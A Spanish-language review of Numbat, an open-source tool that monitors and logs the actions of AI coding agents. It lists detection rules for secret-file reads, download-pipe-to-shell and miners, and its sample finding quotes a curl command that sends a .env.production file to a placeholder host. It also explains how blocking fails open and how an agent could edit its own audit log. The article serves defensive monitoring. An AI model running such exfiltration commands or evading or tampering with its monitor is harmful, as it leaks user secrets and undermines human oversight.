Numbat: qué hacen realmente tus agentes de IA

Qué es Numbat

Numbat permite saber qué hizo un agente de IA en una máquina que administra. Lee las devoluciones de llamada de los hooks y los archivos de sesión que los agentes de programación ya generan, los normaliza en un único formato de eventos y los compara con reglas que se activan ante comportamientos como leer una clave privada de SSH o canalizar una descarga directamente a un shell. Perplexity lo publicó como código abierto bajo Apache 2.0. La primera versión etiquetada se publicó el 29 de julio de 2026.

Todo lo que aparece a continuación procede del repositorio del proyecto y de su documentación, consultados el 2 de agosto de 2026. Cuando Perplexity hace una afirmación, este artículo lo indica. Esto no es un tutorial de instalación, porque el repositorio tiene pocos días y sus comandos cambiarán.

El problema: nadie registra lo que hizo el agente

Un agente de programación en tu VPS ejecuta comandos de shell, lee archivos, escribe archivos y abre conexiones de red, todo con el usuario que le asignaste. El historial de tu shell no registra nada de eso porque el agente no escribe en tu shell. sshd registra tu inicio de sesión, pero no registra ninguna acción que el modelo decida realizar después. /var/log/auth.log permanece inactivo salvo que algo acceda a sudo. El agente mantiene su propia transcripción, pero ese archivo se encuentra en el directorio de sesión del agente, su formato cambia entre versiones y el propio proceso del agente puede escribir en él.

Por eso, cuando alguien pregunta si el agente leyó .env.production el martes pasado, la respuesta honesta en la mayoría de los servidores es que no puedes saberlo. Esa brecha es la razón por la que existe este proyecto.

Qué afirma Perplexity que hace Numbat

El README comienza describiendo la herramienta como «visibilidad del endpoint sobre la actividad de los agentes de IA, con detección local, bloqueo opcional antes de la acción y reconstrucción forense». En este contexto, endpoint es el equipo donde se ejecuta el agente, no un dispositivo de red que observa desde fuera. Son capacidades distintas y tienen un alcance diferente.

La detección se ejecuta en el dispositivo. Las reglas se escriben en CEL (Common Expression Language) y se evalúan localmente. Además, admiten reglas de secuencia de varios pasos y reglas propias en YAML. No es necesario que ningún dato salga del equipo para que se active una regla.

El bloqueo es opcional y limitado. Sólo funciona mediante hooks síncronos previos a la acción, en los agentes que exponen uno, y permanece desactivado hasta que se habilita.

La reconstrucción se realiza después de los hechos. numbat scan analiza artefactos de sesión que el agente ya escribió en el disco, por lo que puede revisar actividad anterior a la instalación de la herramienta. El proyecto delimita esta afirmación con cuidado: «La reconstrucción de datos en reposo no es una adquisición de disco ni de memoria, y no puede recuperar actividad que el agente no haya persistido».

La salida está versionada en NDJSON (JSON delimitado por saltos de línea) e incluye eventos, hallazgos, decisiones de aplicación, indicadores y resúmenes de análisis. Usa la versión de esquema 0.2.0 a partir de v0.1.2. Los registros se envían a stdout o a un archivo local y, de forma opcional, mediante HTTP a un collector que usted ejecute. Se distribuye como un único binario estático de Go compilado sin cgo, para macOS, Linux y Windows en amd64 y arm64. En un VPS con Linux, es un solo archivo y no es necesario instalar antes ningún runtime.

¿Qué agentes puede ver realmente Numbat?

La matriz de cobertura de docs/agent-coverage.md es la lista autorizada y no es uniforme. El proyecto lo indica claramente en lugar de ocultarlo. Claude Code, Codex, Gemini CLI, Cursor y GitHub Copilot CLI ofrecen tanto análisis de artefactos como captura en tiempo real mediante un enlace previo a la acción. OpenClaw dispone de un plugin nativo a partir de la versión 2026.7.1. Hay muchas entradas marcadas como deferred. Esto significa que existe una ruta de enlace en tiempo real, pero no un analizador de artefactos. A menudo se debe a que ese agente almacena su historial en SQLite con un registro write-ahead que no es seguro leer mientras el agente está en ejecución. OpenCode y Cline pertenecían a ese grupo cuando se consultó la matriz el 2 de agosto de 2026.

Compruebe la fila correspondiente a su agente antes de planificar cualquier uso de esta herramienta, porque «compatible» significa algo distinto en casi todas las filas.

Qué aspecto tiene una detección

Las reglas tienen identificadores que indican para qué sirven. secrets.read_private_key cubre una clave SSH, credenciales de AWS, una configuración de kube o un inicio de sesión en un registro de paquetes. exec.download_pipe_shell se activa cuando la salida de curl o wget se canaliza a un intérprete. privilege.elevated_shell detecta una solicitud de un shell interactivo de root mediante sudo, doas, su o pkexec. impact.cryptomining_launch coincide con binarios y nombres de imágenes de mineros conocidos.

Las reglas de secuencia relacionan eventos dentro de una misma sesión. chain.secret_read_then_egress requiere la lectura de un archivo secreto seguida de un comando que envía datos al exterior. El README publica el hallazgo siguiente a partir de una reproducción controlada de dos callbacks de preacción de Claude Code, no de un incidente real. Aquí se han dejado sólo los campos relevantes:

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

Observe "confidence": "medium" dentro del registro y tenga en cuenta lo que el proyecto indica sobre toda esta clase de salida: "Los hallazgos son coincidencias de reglas, no pruebas de compromiso." Un script de despliegue que lee una clave y después carga un artefacto de compilación coincidirá con esa misma regla de secuencia. La coincidencia es correcta, pero la alarma es incorrecta. Este es el estado normal de cualquier herramienta de detección que haya ejecutado.

El bloqueo está desactivado de forma predeterminada y falla de forma abierta

Todas las reglas que distribuye Numbat son sólo de monitorización. Convertir una regla en una regla de bloqueo requiere una acción deliberada: copie el YAML completo de la regla en su propio directorio, conserve el mismo id, añada enforce: true, incremente la versión y, después, valide e instale esa política.

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

Ahora viene la parte que determina cuánto debe confiar en ella. La denegación de Numbat es una respuesta que se devuelve al agente, y es el agente quien realmente rechaza la llamada a la herramienta. La guía de aplicación es clara sobre lo que ocurre cuando Numbat tiene un problema: «Las cargas malformadas, los errores de evaluación pertinentes, los pánicos y los fallos de salida suprimen la denegación de numbat». La entrada del hook está limitada a 4 MiB, y las entradas demasiado grandes siguen el mismo flujo.

La guía también es clara sobre el límite de una denegación que sí se aplica: «Fallar de forma abierta significa que numbat retiene su respuesta de denegación. No garantiza que la herramienta se ejecute: el host todavía puede solicitar confirmación, denegar, agotar el tiempo de espera o aplicar otro hook o una política adicional».

Por tanto, la aplicación de políticas aquí es una protección, no un límite de seguridad. Si el proceso se bloquea, Numbat no bloquea la acción, porque un monitor que congela el agente cada vez que tiene un problema se desinstala en menos de una semana. El compromiso es razonable. No cree un modelo de seguridad que presuponga que la denegación siempre llega.

Dónde encaja Numbat junto a lo que ya hace

Numbat se ejecuta en el endpoint, dentro del árbol de procesos del propio agente, y escribe en ~/.numbat/records.ndjson de forma predeterminada. Un agente que se ejecuta con su usuario puede leer ese archivo. También puede editarlo. El registro de auditoría sólo es tan fiable como el aislamiento que lo protege. Por eso, todos los controles que ya tiene deben situarse delante de este, no detrás.

Dar al agente de código una VM desechable limita lo que puede alcanzar una ejecución maliciosa. Usar un usuario con privilegios mínimos en el VPS impide que el agente acceda a archivos que no debería abrir. Mantener las credenciales fuera del contexto del agente hace que una coincidencia secrets.read_private_key sea lo bastante poco frecuente como para que merezca la pena leerla cuando se produce. Y el sandbox que configura para Claude Code en un VPS sigue siendo el mecanismo que proporciona el aislamiento. El aislamiento limita lo que una ejecución maliciosa puede modificar, mientras que documentar por qué el código tiene esa estructura reduce la frecuencia con la que el agente hace algo inesperado que le obliga a consultar el registro.

Lo que añade Numbat es el registro, así que envíelo a un lugar al que el agente no pueda acceder. numbat ship y el receptor HTTP sirven para eso. Una copia del flujo en una segunda máquina marca la diferencia entre un archivo de registro y una evidencia. El modelo de eventos también incluye campos de MCP (protocolo de contexto del modelo), por lo que las llamadas a herramientas que salen a través de un servidor MCP que aloja en un VPS terminan en el mismo flujo que los comandos de shell locales. Esto es importante porque esa ruta es invisible para cualquier mecanismo que supervise sólo bash. El mismo punto ciego afecta a una instancia de SearXNG configurada como backend de búsqueda del agente, donde el riesgo llega en forma de texto de páginas no confiables que entra en el contexto del modelo, y no como un comando que pueda coincidir con alguna regla.

Pruébelo primero en modo de solo lectura

Instale una versión fijada. Se requiere Go 1.26.5 o posterior para go install. La página de versiones incluye binarios precompilados con sumas de comprobación SHA-256 si prefiere no compilar desde el código fuente.

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents detecta los agentes instalados en el equipo. numbat scan analiza los artefactos de sesión que ya están en el disco e imprime los registros. El README indica que estos comandos «no instalan hooks ni cambian la configuración del agente» y que numbat «nunca ejecuta agentes ni comandos encontrados en los artefactos, y sólo realiza solicitudes salientes a los destinos HTTP configurados». El análisis es de solo lectura y redacta los secretos. La salida normal de los registros nunca incluye una transcripción sin filtrar completa.

La captura en vivo es el siguiente paso. También modifica la configuración del agente:

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all escribe eventos, hallazgos, indicadores y las decisiones de aplicación correspondientes en ~/.numbat/records.ndjson. El proyecto señala dos advertencias. Es posible que los hooks deban recibir autorización dentro del agente antes de ejecutarse. Esa autorización debe revisarse de nuevo después de cambiar flags como --enforce. Además, hook status «verifica la configuración, no la ejecución ni la entrega». Por tanto, una línea de estado correcta no demuestra que los registros estén llegando a ningún destino.

Por qué un repositorio tan reciente no es una dependencia

Las versiones públicas son v0.1.1 del 29 de julio de 2026 y v0.1.2 del 1 de agosto de 2026. El repositorio tenía 597 estrellas cuando se escribió este artículo, el 2 de agosto de 2026. Un crecimiento tan rápido refleja la audiencia de Perplexity, no la solidez del código. Una estrella significa que alguien guardó la página para consultarla más adelante.

El número de versión indica claramente el nivel de madurez. Las notas de v0.1.2 contienen principalmente correcciones para ocultar credenciales, además de trabajos de normalización de paquetes de casos y telemetría. Los errores de ocultación son el tipo de defecto esperable en las primeras versiones de una herramienta cuya función es leer de forma segura las transcripciones de otros programas. Aparecerán más errores porque las entradas proceden de una docena de agentes, y cada uno cambia su formato según su propio calendario.

De aquí se derivan dos reglas prácticas. Fije la etiqueta, nunca @latest, en todo lo que conserve. Y considérelo un instrumento en evaluación, no un control del que dependa, al menos hasta que el esquema de registros deje de cambiar.

FAQ

¿Numbat bloquea comandos peligrosos de los agentes de IA?

Sólo si lo habilita y únicamente con carácter de mejor esfuerzo. Todas las reglas que distribuye Numbat son sólo de monitorización. Para bloquear, copie el YAML de la regla en su propio directorio, conserve su id, añada enforce: true, incremente la versión e instale el hook con --enforce. Incluso entonces, la denegación se devuelve al agente como una respuesta, y es el agente quien rechaza la llamada. El proyecto documenta un comportamiento de apertura ante fallos: las cargas mal formadas, los errores de evaluación, los panics y los fallos de salida suprimen la denegación. Úselo como una protección adicional, no como su único límite de seguridad.

¿Qué agentes de IA admite Numbat?

La cobertura varía según el agente y se indica en docs/agent-coverage.md del repositorio. Claude Code, Codex, Gemini CLI, Cursor y GitHub Copilot CLI tenían tanto análisis de artefactos como captura en tiempo real cuando se consultó esa página el 2 de agosto de 2026, y OpenClaw dispone de un plugin nativo desde la versión 2026.7.1. Muchos otros agentes aparecen con una ruta de hook en tiempo real, pero todavía sin analizador de artefactos, normalmente porque el historial de sus sesiones se almacena en una base de datos SQLite que no es seguro leer mientras el agente está en ejecución. Consulte la fila de su agente, porque allí la palabra «compatible» abarca varios niveles distintos.

¿Puede el agente manipular los registros de Numbat?

Sí, si se ejecuta con el mismo usuario. De forma predeterminada, los registros se guardan en ~/.numbat/records.ndjson en la misma máquina que el agente, por lo que cualquier proceso con acceso de escritura a esa ruta puede modificarlos o eliminarlos. Envíe el flujo a un colector al que el agente no pueda acceder, mediante numbat ship o el sink HTTP, y conserve el archivo local como copia de conveniencia. Por eso esta herramienta complementa el aislamiento en lugar de sustituirlo. Un agente confinado en una VM desechable y ejecutado con un usuario con privilegios mínimos tiene mucho menos alcance sobre su propia pista de auditoría.

¿Numbat está preparado para un servidor de producción?

No como control del que dependa. La primera versión pública fue v0.1.1 el 29 de julio de 2026, y v0.1.2 apareció el 1 de agosto de 2026, por lo que tanto las flags como el esquema de registros siguen cambiando. Ejecutar numbat agents y numbat scan en un equipo es una operación de sólo lectura y bajo riesgo, y le indicará qué han dejado sus agentes en el disco. Instalar hooks de enforcement en un servidor importante es una decisión diferente. Requiere fijar un tag y definir qué ocurrirá si el hook funciona de forma incorrecta.